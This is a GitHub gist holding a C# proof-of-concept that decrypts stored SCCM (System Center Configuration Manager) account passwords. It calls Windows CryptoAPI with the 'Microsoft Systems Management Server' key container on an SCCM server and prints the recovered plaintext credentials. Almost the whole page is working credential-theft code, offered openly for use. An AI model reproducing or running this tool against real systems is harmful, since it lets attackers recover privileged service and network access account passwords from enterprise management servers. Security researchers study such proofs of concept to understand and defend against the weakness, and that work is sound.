Skip to content

Instantly share code, notes, and snippets.

@xpn
Last active October 31, 2024 15:19
Show Gist options
  • Save xpn/5f497d2725a041922c427c3aaa3b37d1 to your computer and use it in GitHub Desktop.
Save xpn/5f497d2725a041922c427c3aaa3b37d1 to your computer and use it in GitHub Desktop.
SCCM Account Password Decryption POC
// Twitter thread: https://twitter.com/_xpn_/status/1543682652066258946 (was a bit bored ;)
// Needs to be run on the SCCM server containing the "Microsoft Systems Management Server" CSP for it to work.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace SCCMDecryptPOC
{
internal class Program
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CryptAcquireContext(ref IntPtr hProv, string pszContainer, string pszProvider, uint dwProvType, uint dwFlags);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDecrypt(IntPtr hKey, IntPtr hHash, int Final, uint dwFlags, byte[] pbData, ref uint pdwDataLen);
[DllImport(@"advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptImportKey(IntPtr hProv, byte[] pbKeyData, UInt32 dwDataLen, IntPtr hPubKey, UInt32 dwFlags, ref IntPtr hKey);
static byte[] decodeInput(string inputString)
{
List<byte> inputDataList = new List<byte>();
if (inputDataList.Count % 2 != 0)
{
return null;
}
for (int i = 0; i < inputString.Length; i += 2)
{
byte t = Convert.ToByte(inputString.Substring(i, 2), 16);
inputDataList.Add(t);
}
return inputDataList.ToArray();
}
static void Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("Usage: SCCMDecryptPOC.exe \"HEX_STRING_TO_DECRYPT\"");
return;
}
IntPtr kHandle = IntPtr.Zero;
IntPtr context = IntPtr.Zero;
byte[] keyLengthBuffer = new byte[4];
byte[] decryptedLengthBuffer = new byte[4];
byte[] key;
byte[] crypted;
byte[] inputData;
uint cryptLength;
string inputString = args[0];
inputData = decodeInput(inputString);
if (inputData == null)
{
Console.WriteLine("Error: Input string not in correct format");
return;
}
Array.Copy(inputData, 0, keyLengthBuffer, 0, 4);
int keyLength = BitConverter.ToInt32(keyLengthBuffer, 0);
Array.Copy(inputData, 4, decryptedLengthBuffer, 0, 4);
int decryptedLength = BitConverter.ToInt32(decryptedLengthBuffer, 0);
Console.WriteLine("[*] Key Length: {0}", keyLength);
Console.WriteLine("[*] Expecting Decrypted Length Of: {0}", decryptedLength);
cryptLength = (uint)(inputData.Length - 8 - (keyLength));
key = new byte[keyLength];
Array.Copy(inputData, 8, key, 0, keyLength);
if (!CryptAcquireContext(ref context, "Microsoft Systems Management Server", "Microsoft Enhanced RSA and AES Cryptographic Provider", (uint)0x18, 96U) && !CryptAcquireContext(ref context, "Microsoft Systems Management Server", null, (uint)0x18, 104U))
{
uint lastWin32Error = (uint)Marshal.GetLastWin32Error();
System.Console.WriteLine(string.Format("CryptAcquireContext failed with HRESULT {0}", lastWin32Error));
return;
}
if (!CryptImportKey(context, key, (uint)keyLength, IntPtr.Zero, 0, ref kHandle))
{
uint lastWin32Error2 = (uint)Marshal.GetLastWin32Error();
System.Console.WriteLine(string.Format("CryptImportKey failed with HRESULT {0}", lastWin32Error2));
return;
}
crypted = new byte[cryptLength];
Array.Copy(inputData, 8 + keyLength, crypted, 0, inputData.Length - 8 - (keyLength));
if (!CryptDecrypt(kHandle, IntPtr.Zero, 1, 0, crypted, ref cryptLength))
{
uint lastWin32Error3 = (uint)Marshal.GetLastWin32Error();
System.Console.WriteLine(string.Format("CryptDecrypt failed with HRESULT {0}", lastWin32Error3));
}
Console.WriteLine("[*] Decrypted Input as: {0}", System.Text.Encoding.ASCII.GetString(crypted,0,(int)cryptLength));
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment